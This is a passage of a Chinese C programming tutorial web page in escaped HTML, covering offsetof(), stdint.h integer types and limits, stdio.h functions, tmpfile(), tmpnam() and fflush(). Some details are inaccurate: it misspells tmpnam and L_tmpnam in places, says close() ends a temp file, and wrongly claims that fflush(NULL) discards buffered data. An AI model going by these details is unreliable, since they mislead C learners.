href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#offsetof\" class=\"headerlink\" title=\"offsetof()\"\u003e\u003c/a\u003eoffsetof()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eoffsetof()\u003c/code\u003e是\u003ccode\u003estddef.h\u003c/code\u003e定义的一个宏,用来返回某个属性在 Struct 结构内部的起始位置。由于系统为了字节对齐,可能会在 Struct 结构的属性之间插入空字节,这个宏对于确定某个属性的内存位置很有用。\u003c/p\u003e\u003cp\u003e它是一个带参数的宏,接受两个参数。第一个参数是 Struct 结构,第二个参数是该结构的一个属性,返回 Struct 起始位置到该属性之间的字节数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003es\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e b[\u003cspan class=\"number\"\u003e2\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%zu\\n\u0026#34;\u003c/span\u003e, offsetof(\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e s, a)); \u003cspan class=\"comment\"\u003e// 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%zu\\n\u0026#34;\u003c/span\u003e, offsetof(\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e s, b)); \u003cspan class=\"comment\"\u003e// 4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%zu\\n\u0026#34;\u003c/span\u003e, offsetof(\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e s, c)); \u003cspan class=\"comment\"\u003e// 12\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e对于上面这个 Struct 结构,\u003ccode\u003eoffsetof(struct s, a)\u003c/code\u003e一定等于\u003ccode\u003e0\u003c/code\u003e,因为\u003ccode\u003ea\u003c/code\u003e属性是第一个属性,与 Struct 结构自身的地址相同。\u003c/p\u003e\u003cp\u003e系统为了字节对齐,在\u003ccode\u003ea\u003c/code\u003e属性后面分配了3个空字节,导致\u003ccode\u003eb\u003c/code\u003e属性存储在第4个字节,所以\u003ccode\u003eoffsetof(struct s, b)\u003c/code\u003e和\u003ccode\u003eoffsetof(struct s, c)\u003c/code\u003e分别是4和12。\u003c/p\u003e\u003ch2 id=\"stdint-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#stdint-h\" class=\"headerlink\" title=\"stdint.h\"\u003e\u003c/a\u003estdint.h\u003c/h2\u003e\u003ch3 id=\"固定宽度的整数类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%9B%BA%E5%AE%9A%E5%AE%BD%E5%BA%A6%E7%9A%84%E6%95%B4%E6%95%B0%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"固定宽度的整数类型\"\u003e\u003c/a\u003e固定宽度的整数类型\u003c/h3\u003e\u003cp\u003estdint.h 定义了一些固定宽度的整数类型别名,主要有下面三类。\u003c/p\u003e\u003cul\u003e\u003cli\u003e宽度完全确定的整数\u003ccode\u003eintN_t\u003c/code\u003e,比如\u003ccode\u003eint32_t\u003c/code\u003e。\u003c/li\u003e\u003cli\u003e宽度不小少于某个大小的整数\u003ccode\u003eint_leastN_t\u003c/code\u003e,比如\u003ccode\u003eint_least8_t\u003c/code\u003e。\u003c/li\u003e\u003cli\u003e宽度不小于某个大小、并且处理速度尽可能快的整数\u003ccode\u003eint_fastN_t\u003c/code\u003e,比如\u003ccode\u003eint_fast64_t\u003c/code\u003e。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上面所有类型都是有符号的,类型名前面可以加一个前缀\u003ccode\u003eu\u003c/code\u003e,表示无符号类型,比如\u003ccode\u003euint16_t\u003c/code\u003e。\u003c/p\u003e\u003cp\u003eC 语言标准要求至少定义以下类型。\u003c/p\u003e\u003cul\u003e\u003cli\u003eint8_t uint8_t\u003c/li\u003e\u003cli\u003eint16_t uint16_t\u003c/li\u003e\u003cli\u003eint32_t uint32_t\u003c/li\u003e\u003cli\u003eint64_t uint64_t\u003c/li\u003e\u003cli\u003eint_least8_t uint_least8_t\u003c/li\u003e\u003cli\u003eint_least16_t uint_least16_t\u003c/li\u003e\u003cli\u003eint_least32_t uint_least32_t\u003c/li\u003e\u003cli\u003eint_least64_t uint_least64_t\u003c/li\u003e\u003cli\u003eint_fast8_t uint_fast8_t\u003c/li\u003e\u003cli\u003eint_fast16_t uint_fast16_t\u003c/li\u003e\u003cli\u003eint_fast32_t uint_fast32_t\u003c/li\u003e\u003cli\u003eint_fast64_t uint_fast64_t\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"最大宽度的整数类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%9C%80%E5%A4%A7%E5%AE%BD%E5%BA%A6%E7%9A%84%E6%95%B4%E6%95%B0%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"最大宽度的整数类型\"\u003e\u003c/a\u003e最大宽度的整数类型\u003c/h3\u003e\u003cp\u003e以下两个类型表示当前系统可用的最大宽度整数。\u003c/p\u003e\u003cul\u003e\u003cli\u003eintmax_t\u003c/li\u003e\u003cli\u003euintmax_t\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e如果想要尽可能大的整数时,可以使用上面类型。\u003c/p\u003e\u003ch3 id=\"固定宽度的整数常量\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%9B%BA%E5%AE%9A%E5%AE%BD%E5%BA%A6%E7%9A%84%E6%95%B4%E6%95%B0%E5%B8%B8%E9%87%8F\" class=\"headerlink\" title=\"固定宽度的整数常量\"\u003e\u003c/a\u003e固定宽度的整数常量\u003c/h3\u003e\u003cp\u003e以下一些带参数的宏,可以生成固定宽度的整数常量。\u003c/p\u003e\u003cul\u003e\u003cli\u003eINT8_C(x) UINT8_C(x)\u003c/li\u003e\u003cli\u003eINT16_C(x) UINT16_C(x)\u003c/li\u003e\u003cli\u003eINT32_C(x) UINT32_C(x)\u003c/li\u003e\u003cli\u003eINT64_C(x) UINT64_C(x)\u003c/li\u003e\u003cli\u003eINTMAX_C(x) UINTMAX_C(x)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e下面是用法示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003euint16_t\u003c/span\u003e x = UINT16_C(\u003cspan class=\"number\"\u003e12\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eintmax_t\u003c/span\u003e y = INTMAX_C(\u003cspan class=\"number\"\u003e3490\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"固定宽度的整数极限值\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%9B%BA%E5%AE%9A%E5%AE%BD%E5%BA%A6%E7%9A%84%E6%95%B4%E6%95%B0%E6%9E%81%E9%99%90%E5%80%BC\" class=\"headerlink\" title=\"固定宽度的整数极限值\"\u003e\u003c/a\u003e固定宽度的整数极限值\u003c/h3\u003e\u003cp\u003e下面一些宏代表了固定宽度的整数最大值和最小值。\u003c/p\u003e\u003cul\u003e\u003cli\u003eINT8_MAX INT8_MIN UINT8_MAX\u003c/li\u003e\u003cli\u003eINT16_MAX INT16_MIN UINT16_MAX\u003c/li\u003e\u003cli\u003eINT32_MAX INT32_MIN UINT32_MAX\u003c/li\u003e\u003cli\u003eINT64_MAX INT64_MIN UINT64_MAX\u003c/li\u003e\u003cli\u003eINT_LEAST8_MAX INT_LEAST8_MIN UINT_LEAST8_MAX\u003c/li\u003e\u003cli\u003eINT_LEAST16_MAX INT_LEAST16_MIN UINT_LEAST16_MAX\u003c/li\u003e\u003cli\u003eINT_LEAST32_MAX INT_LEAST32_MIN UINT_LEAST32_MAX\u003c/li\u003e\u003cli\u003eINT_LEAST64_MAX INT_LEAST64_MIN UINT_LEAST64_MAX\u003c/li\u003e\u003cli\u003eINT_FAST8_MAX INT_FAST8_MIN UINT_FAST8_MAX\u003c/li\u003e\u003cli\u003eINT_FAST16_MAX INT_FAST16_MIN UINT_FAST16_MAX\u003c/li\u003e\u003cli\u003eINT_FAST32_MAX INT_FAST32_MIN UINT_FAST32_MAX\u003c/li\u003e\u003cli\u003eINT_FAST64_MAX INT_FAST64_MIN UINT_FAST64_MAX\u003c/li\u003e\u003cli\u003eINTMAX_MAX INTMAX_MIN UINTMAX_MAX\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e注意,所有无符号整数类型的最小值都为0,所以没有对应的宏。\u003c/p\u003e\u003ch3 id=\"占位符-2\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8D%A0%E4%BD%8D%E7%AC%A6-2\" class=\"headerlink\" title=\"占位符\"\u003e\u003c/a\u003e占位符\u003c/h3\u003e\u003cp\u003eC 语言还在头文件 inttypes.h 里面,为上面类型定义了\u003ccode\u003eprintf()\u003c/code\u003e和\u003ccode\u003escanf()\u003c/code\u003e的占位符,参见《inttypes.h》一章。\u003c/p\u003e\u003ch2 id=\"stdio-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#stdio-h\" class=\"headerlink\" title=\"stdio.h\"\u003e\u003c/a\u003estdio.h\u003c/h2\u003e\u003cp\u003e\u003ccode\u003estdio.h\u003c/code\u003e是 C 语言的标准 I/O 库,用于读取和写入文件,也用于控制台的输入和输出。\u003c/p\u003e\u003ch3 id=\"标准-I-x2F-O-函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%A0%87%E5%87%86-I-x2F-O-%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"标准 I/O 函数\"\u003e\u003c/a\u003e标准 I/O 函数\u003c/h3\u003e\u003cp\u003e以下函数用于控制台的输入和输出。\u003c/p\u003e\u003cul\u003e\u003cli\u003eprintf():输出到控制台,详见《基本语法》一章。\u003c/li\u003e\u003cli\u003escanf():从控制台读取输入,详见《I/O 函数》一章。\u003c/li\u003e\u003cli\u003egetchar():从控制台读取一个字符,详见《I/O 函数》一章。\u003c/li\u003e\u003cli\u003eputchar():向控制台写入一个字符,详见《I/O 函数》一章。\u003c/li\u003e\u003cli\u003egets():从控制台读取整行输入(已废除),详见《I/O 函数》一章。\u003c/li\u003e\u003cli\u003eputs():向控制台写入一个字符串,详见《I/O 函数》一章。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"文件操作函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"文件操作函数\"\u003e\u003c/a\u003e文件操作函数\u003c/h3\u003e\u003cp\u003e以下函数用于文件操作,详见《文件操作》一章。\u003c/p\u003e\u003cul\u003e\u003cli\u003efopen():打开文件。\u003c/li\u003e\u003cli\u003efclose():关闭文件。\u003c/li\u003e\u003cli\u003efreopen():打开一个新文件,关联一个已经打开的文件指针。\u003c/li\u003e\u003cli\u003efprintf():输出到文件。\u003c/li\u003e\u003cli\u003efscanf():从文件读取数据。\u003c/li\u003e\u003cli\u003egetc():从文件读取一个字符。\u003c/li\u003e\u003cli\u003efgetc():从文件读取一个字符。\u003c/li\u003e\u003cli\u003eputc():向文件写入一个字符。\u003c/li\u003e\u003cli\u003efputc():向文件写入一个字符。\u003c/li\u003e\u003cli\u003efgets():从文件读取整行。\u003c/li\u003e\u003cli\u003efputs():向文件写入字符串。\u003c/li\u003e\u003cli\u003efread():从文件读取二进制数据。\u003c/li\u003e\u003cli\u003efwrite():向文件写入二进制数据。\u003c/li\u003e\u003cli\u003efseek():将文件内部指针移到指定位置。\u003c/li\u003e\u003cli\u003eftell():获取文件内部指针的当前位置。\u003c/li\u003e\u003cli\u003erewind():将文件内部指针重置到文件开始处。\u003c/li\u003e\u003cli\u003efgetpos():获取文件内部指针的当前位置。\u003c/li\u003e\u003cli\u003efsetpos():设置文件内部指针的当前位置。\u003c/li\u003e\u003cli\u003efeof():判断文件内部指针是否指向文件结尾。\u003c/li\u003e\u003cli\u003eferror():返回文件错误指示器的状态。\u003c/li\u003e\u003cli\u003eclearerr():重置文件错误指示器。\u003c/li\u003e\u003cli\u003eremove():删除文件。\u003c/li\u003e\u003cli\u003erename():文件改名,以及移动文件。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"字符串操作函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%93%8D%E4%BD%9C%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"字符串操作函数\"\u003e\u003c/a\u003e字符串操作函数\u003c/h3\u003e\u003cp\u003e以下函数用于操作字符串,详见《字符串操作》一章。\u003c/p\u003e\u003cul\u003e\u003cli\u003esscanf():从字符串读取数据,详见《I/O 函数》一章。\u003c/li\u003e\u003cli\u003esprintf():输出到字符串。\u003c/li\u003e\u003cli\u003esnprintf():输出到字符串的更安全版本,指定了输出字符串的数量。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"tmpfile\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#tmpfile\" class=\"headerlink\" title=\"tmpfile()\"\u003e\u003c/a\u003etmpfile()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003etmpfile()\u003c/code\u003e函数创建一个临时文件,该文件只在程序运行期间存在,除非手动关闭它。它的原型如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eFILE* \u003cspan class=\"title function_\"\u003etmpfile\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003etmpfile()\u003c/code\u003e返回一个文件指针,可以用于访问该函数创建的临时文件。如果创建失败,返回一个空指针 NULL。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eFILE* tempptr;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etempptr = tmpfile();\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e调用\u003ccode\u003eclose()\u003c/code\u003e方法关闭临时文件后,该文件将被自动删除。\u003c/p\u003e\u003cp\u003e\u003ccode\u003etmpfile()\u003c/code\u003e有两个缺点。一是无法知道临时文件的文件名,二是无法让该文件成为永久文件。\u003c/p\u003e\u003ch3 id=\"tmpnam\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#tmpnam\" class=\"headerlink\" title=\"tmpnam()\"\u003e\u003c/a\u003etmpnam()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003etmpname()\u003c/code\u003e函数为临时文件生成一个名字,确保不会与其他文件重名。它的原型如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"title function_\"\u003etmpname\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它的参数是一个字符串变量,\u003ccode\u003etmpnam()\u003c/code\u003e会把临时文件的文件名复制到这个变量里面,并返回指向该字符串变量的指针。如果生成文件名失败,\u003ccode\u003etmpnam()\u003c/code\u003e返回空指针 NULL。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e filename[L_tmpname];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (tmpnam(filename) != \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 输出诸如 /tmp/filew9PMuZ 的文件名\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, filename);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Something wrong!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eL_tmpname\u003c/code\u003e是\u003ccode\u003estdio.h\u003c/code\u003e定义的一个宏,指定了临时文件的文件名长度。\u003c/p\u003e\u003cp\u003e\u003ccode\u003etmpname()\u003c/code\u003e的参数也可以是一个空指针 NULL,同样返回指向文件名字符串的指针。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* filename;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efilename = tmpnam(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003efilename\u003c/code\u003e就是\u003ccode\u003etmpnam()\u003c/code\u003e生成的文件名。\u003c/p\u003e\u003cp\u003e该函数只是生成一个文件名,稍后可以使用\u003ccode\u003efopen()\u003c/code\u003e打开该文件并使用它。\u003c/p\u003e\u003ch3 id=\"fflush\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fflush\" class=\"headerlink\" title=\"fflush()\"\u003e\u003c/a\u003efflush()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efflush()\u003c/code\u003e用于清空缓存区。它接受一个文件指针作为参数,将缓存区内容写入该文件。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efflush(fp);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果不需要保存缓存区内容,则可以传入空指针 NULL。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efflush(\u003cspan 